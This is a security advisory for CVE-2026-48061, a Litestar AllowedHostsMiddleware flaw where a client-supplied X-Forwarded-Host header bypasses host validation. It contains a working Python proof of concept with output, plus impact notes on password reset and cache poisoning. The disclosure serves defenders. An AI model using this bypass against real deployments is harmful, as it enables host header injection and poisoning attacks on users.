CVE-2026-48061: Litestar AllowedHostsMiddleware Bypasses Host Validation Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3qmc-cj7q-62hv",
  "modified" : "2026-06-10T19:12:10Z",
  "published" : "2026-06-10T19:12:10Z",
  "aliases" : [ "CVE-2026-48061" ],
  "summary" : "Litestar: AllowedHostsMiddleware bypasses host validation via client-controlled X-Forwarded-Host header",
  "details" : "### Summary\n\n`AllowedHostsMiddleware` trusts the `X-Forwarded-Host` header as a fallback when the `Host` header is absent. Since `X-Forwarded-Host` is a client-controllable header, an attacker can bypass the allowed hosts validation by omitting the `Host` header and supplying an `X-Forwarded-Host` header set to a whitelisted domain. This enables host header injection attacks such as password reset poisoning, cache poisoning, and server-side request routing manipulation.\n\n### Details\n\nIn `AllowedHostsMiddleware.__call__`, the host value used for validation is resolved as follows:\n\nhttps://github.com/litestar-org/litestar/blob/main/litestar/middleware/allowed_hosts.py#L68\n\n```python\nheaders = MutableScopeHeaders(scope=scope)\nif host := headers.get(\"host\", headers.get(\"x-forwarded-host\", \"\")).split(\":\")[0]:\n    if self.allowed_hosts_regex.fullmatch(host):\n        await self.app(scope, receive, send)\n        return\n```\n\nWhen `Host` is absent (e.g., HTTP/1.0 clients, misconfigured proxies, or raw TCP connections), the middleware falls back to `X-Forwarded-Host` without any verification that the request actually passed through a trusted reverse proxy.\n\nAn attacker can send a request with no `Host` header and set `X-Forwarded-Host` to any whitelisted domain, bypassing the entire allowed hosts check. The application then processes the request as if it originated from a trusted host.\n\nThis is particularly dangerous when applications use the resolved host value for:\n- Generating password reset links (`Host` header injection → link points to attacker domain)\n- Cache key generation (cache poisoning)\n- Routing or backend selection decisions\n\n### PoC\n\n```python\n\"\"\"\nPoC: Allowed Hosts Bypass via X-Forwarded-Host in Litestar 3.0.0b0\n\nAffected:\n  litestar/middleware/allowed_hosts.py:68\n  -> headers.get(\"host\", headers.get(\"x-forwarded-host\", \"\")).split(\":\")[0]\n\"\"\"\n\nimport asyncio\nfrom litestar import Litestar, get\nfrom litestar.config.allowed_hosts import AllowedHostsConfig\nfrom litestar.testing import TestClient\n\n\n@get(\"/\")\nasync def index() -> dict:\n    return {\"status\": \"ok\"}\n\n\napp = Litestar(\n    route_handlers=[index],\n    allowed_hosts=AllowedHostsConfig(allowed_hosts=[\"trusted.example.com\"]),\n)\n\n\n# --- 1. Baseline: invalid host is blocked ---\n\nwith TestClient(app=app) as c:\n    resp = c.get(\"/\", headers={\"host\": \"evil.com\"})\n    assert resp.status_code == 400\n    print(f\"[*] Host: evil.com -> {resp.status_code} (blocked)\")\n\n\n# --- 2. Bypass: ASGI scope without Host, with X-Forwarded-Host ---\n\nasync def test_bypass():\n    scope = {\n        \"type\": \"http\",\n        \"method\": \"GET\",\n        \"path\": \"/\",\n        \"root_path\": \"\",\n        \"scheme\": \"http\",\n        \"query_string\": b\"\",\n        \"headers\": [\n            # No \"host\" header — only x-forwarded-host\n            (b\"x-forwarded-host\", b\"trusted.example.com\"),\n        ],\n        \"server\": (\"testserver\", 80),\n        \"app\": app,\n        \"litestar_app\": app,\n        \"state\": {},\n    }\n\n    captured = {}\n\n    async def receive():\n        return {\"type\": \"http.request\", \"body\": b\"\"}\n\n    async def send(message):\n        if message[\"type\"] == \"http.response.start\":\n            captured[\"status\"] = message[\"status\"]\n\n    await app(scope, receive, send)\n    return captured[\"status\"]\n\nstatus = asyncio.run(test_bypass())\nprint(f\"[*] No Host + X-Forwarded-Host: trusted.example.com -> {status} (bypassed)\")\nassert status == 200, f\"Expected 200, got {status}\"\nprint(f\"[!] AllowedHosts check passed using client-controlled X-Forwarded-Host\")\n```\n\n**Output:**\n```\n[*] Host: evil.com -> 400 (blocked)\n[*] No Host + X-Forwarded-Host: trusted.example.com -> 200 (bypassed)\n[!] AllowedHosts check passed using client-controlled X-Forwarded-Host\n```\n\n### Impact\n\nThis is a host validation bypass vulnerability. Any application using `AllowedHostsConfig` is affected when deployed without a reverse proxy that strips `X-Forwarded-Host`, or when accepting HTTP/1.0 connections.\n\nAn attacker can bypass the allowed hosts restriction and have requests processed as if they originated from a trusted host. This can lead to:\n\n- **Password reset poisoning**: if the application uses the host value to generate reset links, the attacker can redirect them to a malicious domain\n- **Cache poisoning**: cached responses keyed on the host value can be polluted with attacker-controlled content\n- **Routing manipulation**: backend routing decisions based on host value can be influenced",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "litestar"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.22.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/litestar-org/litestar/security/advisories/GHSA-3qmc-cj7q-62hv"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/litestar-org/litestar/commit/6930a20ceb543912cd651b42deae5b9f3637a262"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/litestar-org/litestar"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-348", "CWE-807" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-10T19:12:10Z",
    "nvd_published_at" : null
  }
}